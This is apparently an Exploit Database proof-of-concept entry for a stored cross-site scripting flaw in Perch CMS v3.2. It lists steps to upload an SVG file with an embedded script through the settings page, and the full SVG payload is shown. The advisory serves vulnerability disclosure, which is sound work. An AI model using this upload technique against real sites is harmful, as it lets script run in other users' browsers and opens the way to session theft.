Perch v3.2 – Stored XSS

• Exploit Database
• 41 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-07-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51621/

• Exploit Title: Perch v3.2 - Stored XSS
  Application: Perch Cms
  Version: v3.2
  Bugs:XSS
  Technology: PHP
  Vendor URL: https://grabaperch.com/
  Software Link: https://grabaperch.com/download
  Date of found: 21.07.2023
  Author: Mirabbas Ağalarov
  Tested on: Linux 
  
  
  2. Technical Details & POC
  ========================================
  steps: 
  1. login to account
  2. go to http://localhost/perch_v3.2/perch/core/settings/
  3. upload svg file
  
  """
  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  
  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
  alert(document.location);
   </script>
  </svg>
  """
  4. go to svg file (http://localhost/perch_v3.2/perch/resources/malas.svg)